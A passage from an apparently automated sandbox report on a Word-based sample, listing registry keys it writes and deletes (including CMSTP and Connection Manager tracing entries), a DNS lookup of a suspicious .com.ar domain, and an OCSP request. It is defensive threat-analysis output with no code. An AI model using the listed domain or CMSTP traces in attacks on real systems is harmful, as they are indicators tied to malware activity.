  2198. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  2199. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  2200. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  2201. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  2202. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  2203. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  2204. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  2205. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  2206. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  2207. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  2208. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  2209. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  2210. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  2211. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  2212. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  2213. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  2214. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  2215. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  2216. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  2217. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  2218. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  2219. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  2220. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  2221. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  2222. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  2223. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  2224. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  2225. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  2226. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  2227. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  2228. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  2229. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  2230. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  2231. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  2232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  2233. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  2234. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  2235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  2236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  2237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  2238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  2239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  2240. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  2241. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  2242. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  2243. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  2244. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  2245. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  2246. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  2247. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  2248. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  2249. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  2250. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  2251. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  2252. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  2253. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  2254. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  2255. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  2256. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  2257. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  2258. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  2259. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  2260. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  2261. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  2262. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  2263. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  2264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  2265. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  2266. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  2267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  2268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  2269. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  2270. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  2271. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  2272. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  2273. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  2274. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  2275. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  2276. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  2277. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  2278. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  2279. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  2280. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  2281. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  2282. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  2283. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  2284. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  2285. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  2286. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  2287. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  2288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  2289. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  2290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  2291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  2292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  2293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  2294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  2295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  2296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  2297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  2298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  2299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  2300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  2301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  2302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  2303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  2304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  2305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  2306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  2307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  2308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  2309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  2310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  2311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1",
  2312. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\CMSTP",
  2313. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\CMSTP\\EnableFileTracing",
  2314. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\CMSTP\\EnableConsoleTracing",
  2315. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\CMSTP\\FileTracingMask",
  2316. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\CMSTP\\ConsoleTracingMask",
  2317. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\CMSTP\\MaxFileSize",
  2318. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\CMSTP\\FileDirectory",
  2319. "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Connection Manager\\",
  2320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Connection Manager\\ProfileInstallPath",
  2321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
  2322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
  2323. "HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\SetupapiLogStatus",
  2324. "HKEY_LOCAL_MACHINE\\SYSTEM\\Setup\\SetupapiLogStatus\\setupapi.app.log",
  2325. "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Connection Manager\\Mappings",
  2326. "HKEY_CURRENT_USER\\Software\\Microsoft\\Connection Manager\\Mappings\\ ",
  2327. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  2328. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\powershell_RASAPI32",
  2329. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableFileTracing",
  2330. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\EnableConsoleTracing",
  2331. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\FileTracingMask",
  2332. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\ConsoleTracingMask",
  2333. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\MaxFileSize",
  2334. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\powershell_RASAPI32\\FileDirectory",
  2335. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RasMan\\Type",
  2336. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\RASMAN",
  2337. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASMAN\\EnableFileTracing",
  2338. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASMAN\\EnableConsoleTracing",
  2339. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASMAN\\FileTracingMask",
  2340. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASMAN\\ConsoleTracingMask",
  2341. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASMAN\\MaxFileSize",
  2342. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASMAN\\FileDirectory",
  2343. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\RASTAPI",
  2344. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI\\EnableFileTracing",
  2345. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI\\EnableConsoleTracing",
  2346. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI\\FileTracingMask",
  2347. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI\\ConsoleTracingMask",
  2348. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI\\MaxFileSize",
  2349. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\RASTAPI\\FileDirectory",
  2350. "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Tracing\\tapi32",
  2351. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\tapi32\\EnableFileTracing",
  2352. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\tapi32\\EnableConsoleTracing",
  2353. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\tapi32\\FileTracingMask",
  2354. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\tapi32\\ConsoleTracingMask",
  2355. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\tapi32\\MaxFileSize",
  2356. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Tracing\\tapi32\\FileDirectory",
  2357. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0000\\EnableForRas",
  2358. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0000\\EnableForRouting",
  2359. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0000\\EnableForOutboundRouting",
  2360. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0003\\EnableForRas",
  2361. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0003\\EnableForRouting",
  2362. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0003\\EnableForOutboundRouting",
  2363. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0004\\EnableForRas",
  2364. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0004\\EnableForRouting",
  2365. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0004\\EnableForOutboundRouting",
  2366. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0002\\EnableForRas",
  2367. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0002\\EnableForRouting",
  2368. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0002\\EnableForOutboundRouting",
  2369. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0001\\EnableForRas",
  2370. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0001\\EnableForRouting",
  2371. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\CLASS\\4D36E972-E325-11CE-BFC1-08002BE10318\\0001\\EnableForOutboundRouting",
  2372. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\IDE\\DiskVBOX_HARDDISK___________________________1.0_____\\5&33d1638a&0&0.0.0_0-00000000-0000-0000-0000-000000000000",
  2373. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\advapi32.dllMofResourceName",
  2374. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\en-US\\advapi32.dll.muiMofResourceName",
  2375. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\ACPI.sysACPIMOFResource",
  2376. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\en-US\\ACPI.sys.muiACPIMOFResource",
  2377. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\ndis.sysMofResourceName",
  2378. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\drivers\\en-US\\ndis.sys.muiMofResourceName",
  2379. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\mssmbios.sysMofResource",
  2380. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\mssmbios.sys.muiMofResource",
  2381. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\HDAudBus.sysHDAudioMofName",
  2382. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\HDAudBus.sys.muiHDAudioMofName",
  2383. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\intelppm.sysPROCESSORWMI",
  2384. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\en-US\\intelppm.sys.muiPROCESSORWMI",
  2385. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\System32\\Drivers\\portcls.SYSPortclsMof",
  2386. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\System32\\Drivers\\en-US\\portcls.SYS.muiPortclsMof",
  2387. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\monitor.sysMonitorWMI"
  2388.  
  2389.  
  2390. * Deleted Registry Keys:
  2391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  2392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  2393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  2394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  2395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\/?",
  2396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\&3=",
  2397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  2398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  2399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  2400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  2401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  2402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  2403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  2404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  2405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  2406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  2407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  2408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  2409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  2410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\2381A84\\2381A84",
  2411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT",
  2412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  2413. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
  2414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  2415. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
  2416. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WBEM\\WDM\\C:\\Windows\\system32\\DRIVERS\\monitor.sysMonitorWMI"
  2417.  
  2418.  
  2419. * DNS Communications:
  2420.  
  2421. "type": "A",
  2422. "request": "www.pedidoslalacteo.com.ar",
  2423. "answers":
  2424.  
  2425. "data": "190.139.110.10",
  2426. "type": "A"
  2427.  
  2428.  
  2429.  
  2430.  
  2431.  
  2432. * Domains:
  2433.  
  2434. "ip": "190.139.110.10",
  2435. "domain": "www.pedidoslalacteo.com.ar"
  2436.  
  2437.  
  2438.  
  2439. * Network Communication - ICMP:
  2440.  
  2441. * Network Communication - HTTP:
  2442.  
  2443. "count": 1,
  2444. "body": "",
  2445. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2446. "user-agent": "Microsoft-CryptoAPI/6.1",
  2447. "method": "GET",
  2448. "host": "ocsp.digicert.com",
  2449. "version": "1.1",
  2450. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2451. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2452. "port": 80
  2453.  
  2454.  
  2455. "count": 1,
